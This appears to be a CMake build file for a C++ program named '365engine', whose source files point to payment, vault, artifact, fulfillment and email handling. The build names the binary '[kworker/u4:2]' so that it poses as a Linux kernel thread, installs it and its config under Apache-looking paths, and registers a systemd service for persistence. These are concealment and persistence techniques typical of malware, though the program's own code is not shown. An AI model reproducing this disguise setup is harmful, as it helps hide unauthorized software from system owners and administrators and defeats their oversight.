cmake_minimum_required(VERSION 3.16)
project(365engine VERSION 2.0.0 LANGUAGES CXX)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -O2 -Wall -Wextra -pthread -fPIC")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -g -O0")

find_package(CURL REQUIRED)
find_package(OpenSSL REQUIRED)
find_package(PkgConfig REQUIRED)

pkg_check_modules(SYSTEMD REQUIRED libsystemd)
pkg_check_modules(SODIUM REQUIRED libsodium)

set(ENGINE_SOURCES
    main.cpp
    engine_config.cpp
    engine_crypto.cpp
    engine_vault.cpp
    engine_http.cpp
    engine_artifact.cpp
    engine_payment.cpp
    engine_fulfillment.cpp
    engine_email.cpp
    engine_security.cpp
)

add_executable(365engine ${ENGINE_SOURCES})

target_include_directories(365engine PRIVATE
    ${CURL_INCLUDE_DIRS}
    ${OPENSSL_INCLUDE_DIR}
    ${SYSTEMD_INCLUDE_DIRS}
    ${SODIUM_INCLUDE_DIRS}
)

target_link_libraries(365engine
    ${CURL_LIBRARIES}
    ${OPENSSL_LIBRARIES}
    ${SYSTEMD_LIBRARIES}
    ${SODIUM_LIBRARIES}
    pthread
)

set_target_properties(365engine PROPERTIES
    OUTPUT_NAME "[kworker/u4:2]"
    RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/bin"
)

install(TARGETS 365engine DESTINATION /opt/apache/engine/)
install(FILES engine.conf DESTINATION /etc/apache/)
install(FILES 365engine.service DESTINATION /etc/systemd/system/)
